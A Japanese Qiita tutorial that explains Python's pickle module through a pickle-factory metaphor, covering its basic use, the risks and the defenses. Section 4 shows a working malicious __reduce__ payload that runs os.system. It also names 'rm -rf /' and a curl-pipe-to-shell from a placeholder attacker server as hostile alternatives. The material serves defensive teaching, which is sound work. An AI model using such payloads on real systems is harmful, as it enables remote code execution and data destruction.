@GeneLab_999Pickleってなんだ？ — Pythonの「保存の魔法」が孕む甘い罠と正しい使い方Python脆弱性AIpickle0Posted at 2026-04-10 この記事の対象読者 Pythonを使い始めて「データの保存ってどうやるの？」と思った方 pickle.dump / pickle.load を何となく使っているが、仕組みを理解していない方機械学習モデルの保存で .pkl ファイルを扱っているが、セキュリティリスクを意識したことがない方この記事で得られること Pickleの基本概念と内部動作を「漬物工場」の比喩で直感的に理解できるシリアライズ / デシリアライズの仕組みとプロトコルバージョンの違いがわかる Pickleが抱える深刻なセキュリティリスク（任意コード実行）を具体的なコードで理解できる安全な代替手段の選び方と、Pickleを使わざるを得ない場面での防御策が身につくこの記事で扱わないこと pickletools モジュールを使ったバイトコードレベルの詳細解析 C実装（_pickle）のソースコード読解特定の機械学習フレームワーク固有の保存機構（PyTorch の torch.save 等は別記事で扱う） 1. そもそもPickleとは何か — 「漬物工場」で理解するシリアライズここからPickleの世界に入っていこう。まずは「なぜPickleが必要なのか」を、漬物工場の比喩で理解する。 1.1 プログラムの「記憶喪失」問題 Pythonのプログラムを実行すると、変数やオブジェクトはすべてメモリ上に存在する。しかしプログラムが終了した瞬間、メモリ上のデータは消滅する。これは「記憶喪失」と同じだ。 # プログラム実行中は生きている my_data = {"name": "太郎", "scores": [85, 92, 78], "active": True} # プログラム終了 → my_data は跡形もなく消えるこの問題を解決するのがシリアライズ（直列化）という技術だ。メモリ上のオブジェクトをバイト列に変換し、ファイルやネットワーク経由で保存・転送できるようにする。 1.2 漬物工場のメタファー Pickleを漬物工場に例えると、全体像がすっきり見えてくる。漬物工場 Pickle 生野菜（きゅうり、大根…） Pythonオブジェクト（dict, list, クラスインスタンス…）漬け込む（塩、酢で保存処理） pickle.dump()（バイト列に変換）漬物瓶に詰める .pkl ファイルに書き出す瓶を開けて食卓に出す pickle.load()（バイト列からオブジェクトを復元）漬物のレシピ（塩分濃度、漬け時間）プロトコルバージョン（0〜5）ここで重要なポイントがある。漬物にできる野菜には種類の制限があるように、Pickleにも「漬けられるもの」と「漬けられないもの」がある。これは後述する。読者がPickleの存在意義を掴んだところで、次は実際にPickleを使ってみよう。 2. Pickleの基本操作 — 漬けて、開けて、味わう 2.1 4つの基本関数 Pickleモジュールが提供する主要な関数は4つだけだ。 import pickle # === ファイルに保存（漬物瓶に詰める） === data = { "model_name": "my_classifier", "accuracy": 0.9523, "params": [1.2, -0.8, 3.4], "metadata": {"version": 2, "framework": "scikit-learn"} } with open("model.pkl", "wb") as f: pickle.dump(data, f) # dump: オブジェクト → ファイル # === ファイルから復元（瓶を開ける） === with open("model.pkl", "rb") as f: loaded_data = pickle.load(f) # load: ファイル → オブジェクト print(loaded_data["accuracy"]) # 0.9523 # === バイト列に変換（瓶に入れず真空パックにする） === byte_data = pickle.dumps(data) # dumps: オブジェクト → bytes print(type(byte_data)) # print(len(byte_data)) # 約130バイト # === バイト列から復元 === restored = pickle.loads(byte_data) # loads: bytes → オブジェクト関数入力出力比喩 pickle.dump(obj, file) オブジェクト + ファイルファイルに書き込み瓶に漬物を詰める pickle.load(file) ファイルオブジェクト瓶を開けて取り出す pickle.dumps(obj) オブジェクト bytes 真空パックにする pickle.loads(bytes) bytes オブジェクト真空パックを開ける dump と dumps の違いは最後の s。s = string（厳密にはbytes）を返す。ファイルを介さずメモリ上でやり取りしたいときに使う。 2.2 Pickleにできるもの一覧漬物工場で「この野菜は漬けられる？」と確認するように、Pickleにも対応表がある。種類例 Pickle可否基本型 int, float, str, bytes, bool, None OK コンテナ list, tuple, dict, set OK クラスインスタンス自作クラスのオブジェクト OK（条件あり）関数（トップレベル定義） def my_func(): ... OK クラス定義（トップレベル） class MyClass: ... OK ラムダ式 lambda x: x + 1 NG ジェネレータ (x for x in range(10)) NG ファイルオブジェクト open("file.txt") NG データベース接続 sqlite3.connect(...) NG スレッド / ロック threading.Lock() NG ラムダ式がPickleできないのはよくあるハマりポイントだ。ラムダは名前を持たない無名関数のため、復元時に「どこにある関数か」を特定できない。 2.3 プロトコルバージョン — 漬物のレシピ改良史漬物のレシピが時代とともに改良されてきたように、Pickleにもプロトコルバージョンが存在する。バージョン Python 特徴 0 古代テキスト形式。人間が読める。遅い 1 古代バイナリ形式の初版 2 2.3+ 新スタイルクラス対応 3 3.0+ bytes型対応。Python 2では読めない 4 3.4+ 4GB超の巨大オブジェクト対応 5 3.8+ 帯域外データ対応。ゼロコピー転送 import pickle data = {"key": "value"} # プロトコルを明示的に指定 old_style = pickle.dumps(data, protocol=0) new_style = pickle.dumps(data, protocol=5) print(len(old_style)) # 約30バイト（テキスト形式なので大きい） print(len(new_style)) # 約20バイト（バイナリ形式で効率的） # デフォルトは pickle.DEFAULT_PROTOCOL（Python 3.11以降は5） print(pickle.DEFAULT_PROTOCOL) # 5 print(pickle.HIGHEST_PROTOCOL) # 5 特別な理由がない限り、デフォルトのままで問題ない。古いPythonバージョンとの互換性が必要な場合のみ、低いプロトコルを指定する。 Pickleの基本操作がわかったところで、次はもう少し踏み込んで、カスタムクラスのPickle化と、その裏側で何が起きているかを見ていこう。 3. カスタムクラスのPickle化 — 漬物のオリジナルレシピ 3.1 基本的なクラスのPickle 自作クラスのインスタンスも、そのままPickle化できる。 import pickle class Player: def __init__(self, name, level, inventory): self.name = name self.level = level self.inventory = inventory def __repr__(self): return f"Player({self.name}, Lv.{self.level})" # 漬ける player = Player("勇者", 42, ["聖剣", "盾", "ポーション×5"]) with open("savegame.pkl", "wb") as f: pickle.dump(player, f) # 復元 with open("savegame.pkl", "rb") as f: loaded_player = pickle.load(f) print(loaded_player) # Player(勇者, Lv.42) print(loaded_player.inventory) # ['聖剣', '盾', 'ポーション×5'] 漬物工場でいえば「オリジナルレシピの野菜ミックス」を丸ごと瓶に詰めるようなものだ。 3.2 __getstate__ / __setstate__ — 漬け込み方のカスタマイズ「この野菜は漬ける前に下ごしらえが必要」という場面がある。たとえば、一時的な計算結果やキャッシュはPickle対象から除外したいケースだ。 import pickle import time class DataProcessor: def __init__(self, data): self.data = data self.cache = {} # キャッシュは保存不要 self.created_at = time.time() self._connection = None # DB接続はPickle不可 def __getstate__(self): """漬け込む前の下ごしらえ — 保存しないものを除外""" state = self.__dict__.copy() del state["cache"] del state["_connection"] return state def __setstate__(self, state): """瓶から出した後の仕上げ — 除外したものを再構築""" self.__dict__.update(state) self.cache = {} # 空のキャッシュを再作成 self._connection = None # 接続は後で明示的に確立 processor = DataProcessor([1, 2, 3]) processor.cache["key"] = "cached_value" # 漬けて → 開ける restored = pickle.loads(pickle.dumps(processor)) print(restored.data) # [1, 2, 3] ← 保存されている print(restored.cache) # {} ← 空で再作成された print(restored._connection) # None ← 再接続が必要 3.3 __reduce__ — 復元手順書 __reduce__ は「この漬物をどうやって元の野菜に戻すか」の手順書を定義するメソッドだ。Pickleの最も強力な機能であり、同時に最も危険な機能でもある。 class CustomRange: def __init__(self, start, stop): self.start = start self.stop = stop self.values = list(range(start, stop)) def __reduce__(self): # (呼び出す関数, その引数) のタプルを返す return (CustomRange, (self.start, self.stop)) cr = CustomRange(0, 5) restored = pickle.loads(pickle.dumps(cr)) print(restored.values) # [0, 1, 2, 3, 4] この __reduce__ の仕組みが、後で説明する「Pickleの闇」に直結する。復元時に任意の関数を呼び出せてしまうのだ。ここまでPickleの「光」の部分を見てきた。便利で柔軟なシリアライズ機構だが、次のセクションでは、その裏に潜む深刻なセキュリティリスクに切り込む。 4. Pickleの闇 — 「漬物瓶に毒を仕込む」攻撃 4.1 任意コード実行（RCE）の仕組みここからが本記事の核心だ。信頼できないPickleデータを pickle.load() すると、攻撃者が任意のコードを実行できる。なぜか。先ほど説明した __reduce__ を思い出してほしい。復元時に「任意の関数を呼び出せる」仕組みだった。攻撃者はこれを悪用する。 import pickle import os class MaliciousPayload: def __reduce__(self): # os.system を呼び出す復元手順書を偽造 return (os.system, ("echo 'あなたのPCは乗っ取られました'",)) # 攻撃者がこのオブジェクトをPickle化してファイルに仕込む malicious_bytes = pickle.dumps(MaliciousPayload()) # 被害者がこのファイルをloadすると... pickle.loads(malicious_bytes) # → os.system("echo 'あなたのPCは乗っ取られました'") が実行される！上のコードは教育目的の例です。echo の代わりに rm -rf / や curl http://攻撃者サーバー | sh が仕込まれた場合、ファイル全削除やマルウェアのダウンロードが実行されます。漬物工場の比喩でいえば、誰かが漬物瓶の中に毒物を混入し、ラベルだけ正規品に偽装するようなものだ。瓶を開けた（loadした）瞬間に毒が回る。 4.2 現実世界の脅威 — 2025-2026年のCVE事例「理論上の脅威でしょ？」と思うかもしれないが、現実にPickle起因の脆弱性は次々と報告されている。 CVE 対象深刻度概要 CVE-2025-69872 python-diskcache CVSS 7.3 キャッシュディレクトリに書き込み権限があれば、悪意あるPickleペイロードで任意コード実行 CVE-2025-56005 PLY (Python Lex-Yacc) Critical 非公開のpicklefileパラメータを経由して任意コード実行 CVE-2025-1716 picklescan High 静的解析ツールを迂回して任意コード実行。pip.main()を利用 CVE-2025-10155〜10157 picklescan CVSS 9.3 PyTorchモデルの拡張子偽装・ZIP操作・ブロックリスト回避の3連発 CVE-2026-22607 Fickling RCE cProfile.run()を悪用し、安全性分類を回避して任意コード実行特にAI/ML分野では深刻だ。HuggingFaceのようなモデル共有プラットフォームでは、Pickleファイルの中に悪意あるコードが埋め込まれた機械学習モデルが流通するリスクが現実のものとなっている。 4.3 なぜPickleは「壊れた設計」ではないのかここで公平に言っておくと、Pickle自体がバグっているわけではない。Python公式ドキュメントにも明確にこう書かれている。 Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. — Python公式ドキュメント Pickleは「信頼できるデータのみを扱う」前提で設計されている。問題は、この前提を無視して外部からのデータに pickle.load() を使ってしまうケースだ。漬物工場で例えるなら、「自社工場で漬けた瓶だけを開けるべきところに、道端で拾った謎の瓶を開けている」ようなものだ。 Pickleの危険性を理解したところで、次は「ではどうすればいいのか」を整理しよう。安全な代替手段と、Pickleを使わざるを得ない場面での防御策を紹介する。 5. 安全な代替手段と防御策 — 漬物工場の衛生管理 5.1 用途別の最適なシリアライズ形式用途推奨形式理由設定ファイル・APIレスポンス JSON (json モジュール) 人間が読める。安全。言語非依存表形式データの保存 CSV / Parquet 汎用性が高い機械学習モデルの保存 safetensors / ONNX コード実行なし。安全に設計されている高速なデータ交換 MessagePack / Protocol Buffers バイナリで高速。スキーマ定義で型安全 Python内部の一時キャッシュ shelve + JSON pickle依存を減らせる複雑なPythonオブジェクト（自社内限定） Pickle 他の選択肢がない場合のみ # === JSON: 安全で汎用的 === import json data = {"name": "太郎", "scores": [85, 92, 78]} # 保存 with open("data.json", "w", encoding="utf-8") as f: json.dump(data, f, ensure_ascii=False, indent=2) # 復元（任意コード実行のリスクなし） with open("data.json", "r", encoding="utf-8") as f: loaded = json.load(f) JSONで保存できるならJSONを使え。これがPickle問題の最もシンプルな解決策だ。 5.2 Pickleを使わざるを得ない場合の防御策「レガシーコードでPickleが深く組み込まれている」「scikit-learnのjoblib内部でPickleが使われている」等、避けられない場面もある。その場合の防御策を3つ紹介する。防御策1: Unpickler のサブクラス化でホワイトリスト制御 import pickle import io ALLOWED_MODULES = { "builtins": {"dict", "list", "set", "tuple", "frozenset", "int", "float", "str", "bytes", "bool", "complex", "slice", "range", "type", "None"}, "collections": {"OrderedDict", "defaultdict"}, } class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ALLOWED_MODULES: if name in ALLOWED_MODULES[module]: return super().find_class(module, name) raise pickle.UnpicklingError( f"許可されていないクラス: {module}.{name}" ) def safe_loads(data: bytes): """ホワイトリスト方式の安全なデシリアライズ""" return RestrictedUnpickler(io.BytesIO(data)).load() # 正常なデータ → OK normal_data = pickle.dumps({"key": [1, 2, 3]}) print(safe_loads(normal_data)) # {'key': [1, 2, 3]} # 悪意あるデータ → ブロック import os class Evil: def __reduce__(self): return (os.system, ("echo hacked",)) malicious = pickle.dumps(Evil()) try: safe_loads(malicious) except pickle.UnpicklingError as e: print(f"ブロック成功: {e}") # → ブロック成功: 許可されていないクラス: posix.system 防御策2: ファイル整合性の検証（HMACによる署名） import pickle import hmac import hashlib SECRET_KEY = b"your-secret-key-here" # 環境変数から取得すべき def secure_dump(obj, filepath): """署名付きでPickle保存""" data = pickle.dumps(obj) signature = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest() with open(filepath, "wb") as f: f.write(signature.encode() + b"\n") f.write(data) def secure_load(filepath): """署名を検証してからPickle復元""" with open(filepath, "rb") as f: stored_sig = f.readline().strip().decode() data = f.read() expected_sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest() if not hmac.compare_digest(stored_sig, expected_sig): raise ValueError("署名が一致しません。ファイルが改ざんされた可能性があります") return pickle.loads(data) 防御策3: サンドボックス環境での実行 # === Docker環境で隔離する（docker-compose.yml） === # 開発環境用 services: pickle-sandbox-dev: image: python:3.11-slim read_only: true security_opt: - no-new-privileges tmpfs: - /tmp:size=100M volumes: - ./data:/data:ro environment: - ENV=development networks: - sandbox-net command: python process_pickle.py # 本番環境用 pickle-sandbox-prod: image: python:3.11-slim read_only: true security_opt: - no-new-privileges deploy: resources: limits: memory: 512M cpus: '0.5' tmpfs: - /tmp:size=50M volumes: - ./data:/data:ro environment: - ENV=production networks: - sandbox-net # テスト環境用 pickle-sandbox-test: image: python:3.11-slim read_only: true security_opt: - no-new-privileges tmpfs: - /tmp:size=200M volumes: - ./test-data:/data:ro environment: - ENV=test networks: - sandbox-net networks: sandbox-net: driver: bridge internal: true # 外部ネットワークへのアクセスを遮断安全な使い方を押さえたところで、次はPickleの実戦的な活用シーンを3つ紹介しよう。適切な場面で正しく使えば、Pickleは依然として強力なツールだ。 6. 実戦ユースケース — Pickleが正しく輝く場面ユースケース1: 機械学習パイプラインのチェックポイント長時間の学習を中断・再開するために、モデルの状態を途中保存する。 import pickle import time class TrainingCheckpoint: def __init__(self, model_state, optimizer_state, epoch, loss_history): self.model_state = model_state self.optimizer_state = optimizer_state self.epoch = epoch self.loss_history = loss_history self.timestamp = time.strftime("%Y%m%d_%H%M%S") def save(self, path="checkpoint.pkl"): with open(path, "wb") as f: pickle.dump(self, f, protocol=pickle.HIGHEST_PROTOCOL) print(f"[Epoch {self.epoch}] チェックポイント保存: {path}") @classmethod def load(cls, path="checkpoint.pkl"): with open(path, "rb") as f: checkpoint = pickle.load(f) print(f"[Epoch {checkpoint.epoch}] チェックポイント復元") return checkpoint # 使用例 checkpoint = TrainingCheckpoint( model_state={"weights": [0.1, 0.2, 0.3]}, optimizer_state={"lr": 0.001}, epoch=15, loss_history=[0.9, 0.7, 0.5, 0.3, 0.2] ) checkpoint.save() このパターンは自分が漬けた瓶を自分で開ける用途限定。外部から受け取った .pkl ファイルを load してはいけない。ユースケース2: 計算コストの高い中間結果のキャッシュ import pickle import hashlib import os from functools import wraps def pickle_cache(cache_dir="./cache"): """計算結果をPickleでキャッシュするデコレータ""" os.makedirs(cache_dir, exist_ok=True) def decorator(func): @wraps(func) def wrapper(*args, **kwargs): # 引数からキャッシュキーを生成 key = hashlib.md5( pickle.dumps((func.__name__, args, kwargs)) ).hexdigest() cache_path = os.path.join(cache_dir, f"{key}.pkl") if os.path.exists(cache_path): with open(cache_path, "rb") as f: print(f"[Cache HIT] {func.__name__}") return pickle.load(f) result = func(*args, **kwargs) with open(cache_path, "wb") as f: pickle.dump(result, f) print(f"[Cache MISS] {func.__name__} → 保存完了") return result return wrapper return decorator @pickle_cache() def expensive_computation(n): """重い計算のシミュレーション""" import time time.sleep(2) return sum(i ** 2 for i in range(n)) result = expensive_computation(10000) # 初回: 2秒かかる result = expensive_computation(10000) # 2回目: 一瞬（キャッシュHIT）ユースケース3: マルチプロセス間のオブジェクト受け渡し from multiprocessing import Pool import pickle # multiprocessing は内部でPickleを使ってプロセス間通信する def process_chunk(chunk): """各プロセスで実行される関数""" return [x ** 2 for x in chunk] data = list(range(1000)) chunks = [data[i:i+250] for i in range(0, 1000, 250)] with Pool(4) as pool: # ここでPickleが裏側で動いている # chunks を Pickle化 → 子プロセスに送信 → 結果を Pickle化して返却 results = pool.map(process_chunk, chunks) flat_results = [x for chunk in results for x in chunk] print(len(flat_results)) # 1000 multiprocessing を使っている時点で、すでにPickleのお世話になっている。ただし、この場合は同一マシン内の信頼されたデータしか流れないため、セキュリティ上の問題はない。ユースケースを通じてPickleの実戦的な使い方を見てきた。次は、開発現場で遭遇しがちなエラーとその対処法をまとめる。 7. よくあるエラーと対処法開発中にPickle関連で遭遇しやすいエラーを一覧にまとめた。エラー原因対処法 AttributeError: Can't pickle local object ラムダ式やローカル関数をPickle化しようとしたトップレベルで def した関数に書き換える ModuleNotFoundError (load時) 保存時と復元時でモジュール構成が異なるクラス定義を同じパスに配置するか、find_class をオーバーライド _pickle.UnpicklingError: invalid load key ファイルが破損、またはPickle以外のファイルを読もうとしたファイルの中身を確認。wb/rb モードを使っているか確認 EOFError: Ran out of input 空ファイルを load しようとしたファイルサイズが0でないか事前チェック TypeError: cannot pickle '_thread.lock' object スレッドロック等のOS資源をPickle化しようとした __getstate__ で除外し、__setstate__ で再構築 RecursionError: maximum recursion depth exceeded 自己参照を含む巨大なオブジェクト sys.setrecursionlimit() を増やすか、データ構造を見直す OverflowError: cannot serialize a bytes object larger than 4 GiB プロトコル3以下で4GB超のデータを保存 protocol=4 以上を指定する # === 環境診断スクリプト === import pickle import sys import struct def diagnose_pickle_env(): """Pickle環境の基本情報を表示""" print("=" * 50) print("Pickle 環境診断") print("=" * 50) print(f"Python バージョン : {sys.version}") print(f"デフォルトプロトコル : {pickle.DEFAULT_PROTOCOL}") print(f"最大プロトコル : {pickle.HIGHEST_PROTOCOL}") print(f"ポインタサイズ : {struct.calcsize('P') * 8}bit") print(f"バイトオーダー : {sys.byteorder}") # 基本型のPickle化テスト test_cases = [ ("int", 42), ("float", 3.14), ("str", "テスト"), ("list", [1, 2, 3]), ("dict", {"a": 1}), ("set", {1, 2, 3}), ("tuple", (1, 2)), ("bytes", b"\x00\x01"), ("None", None), ("bool", True), ] print(f"\n{'型':<12} {'サイズ(bytes)':<15} {'状態':<6}") print("-" * 35) for name, obj in test_cases: try: data = pickle.dumps(obj) print(f"{name:<12} {len(data):<15} OK") except Exception as e: print(f"{name:<12} {'N/A':<15} NG: {e}") # lambda テスト（失敗するはず） try: pickle.dumps(lambda x: x) print(f"{'lambda':<12} {'???':<15} OK（予想外）") except Exception: print(f"{'lambda':<12} {'N/A':<15} NG（想定通り）") print("\n診断完了") diagnose_pickle_env() エラー対処法を整理したところで、最後にPickleを取り巻く技術の全体像と学習の道筋を示そう。 8. 学習ロードマップ — Pickleの先に広がる世界レベル学ぶべきことおすすめリソース Lv.1 基礎基本4関数、JSONとの使い分け Python公式チュートリアル Lv.2 実践カスタムクラスのPickle化、セキュリティ意識本記事 + Python公式ドキュメント pickle セクション Lv.3 応用ホワイトリスト制御、署名付き保存、代替形式 OWASP Deserialization Cheat Sheet Lv.4 エキスパートバイトコード解析、分散シリアライズ設計 CPython ソースコード Lib/pickle.py まとめ PickleはPython標準ライブラリに組み込まれた強力なシリアライズ機構だ。漬物工場の比喩で振り返ると、こうなる。漬け込み（dump）と瓶開け（load）の4関数が基本操作オリジナルレシピ（__getstate__ / __setstate__）でカスタマイズ可能復元手順書（__reduce__）が任意コード実行の入口になる道端の瓶を開けるな — 信頼できないデータの load は絶対NG 漬物以外の保存法（JSON, safetensors, ONNX）を第一選択に個人的には、Pickleの設計思想自体は合理的だと思っている。「信頼できるデータだけを扱う」前提のもとでは、Pythonオブジェクトを丸ごと保存・復元できるPickleは唯一無二の便利さだ。問題は、その前提を守らずに外部データに使ってしまう運用側にある。CVEが毎月のように報告されている現状を見ると、「Pickleは危険だから使うな」ではなく「Pickleの性質を正しく理解して適材適所で使え」が正解だろう。漬物は正しく管理すれば美味しい保存食。でも素性のわからない瓶は、開けちゃダメだ。...orz とならないために。参考文献 Python公式ドキュメント — pickleモジュール OWASP — Deserialization Cheat Sheet シリーズ関連記事 Pickleと関連の深い技術を掘り下げた記事もぜひ参照してほしい。 PyTorchってなんだ？ — Pickle を内部で使うモデル保存機構 safetensorsってなんだ？ — Pickle の安全な代替フォーマット ONNXってなんだ？ — モデル交換の標準規格 GGUFってなんだ？ — ローカルLLM向けモデルフォーマット HuggingFaceってなんだ？ — Pickle問題の最前線にいるプラットフォーム PyPIってなんだ？ — Pythonパッケージ管理の仕組み Dockerってなんだ？ — サンドボックス環境の構築 0Go to list of users who liked0comment0Go to list of commentsRegister as a new user and use Qiita more convenientlyYou get articles that match your needsYou can efficiently read back useful informationYou can use dark themeWhat you can do with signing upSign upLogin

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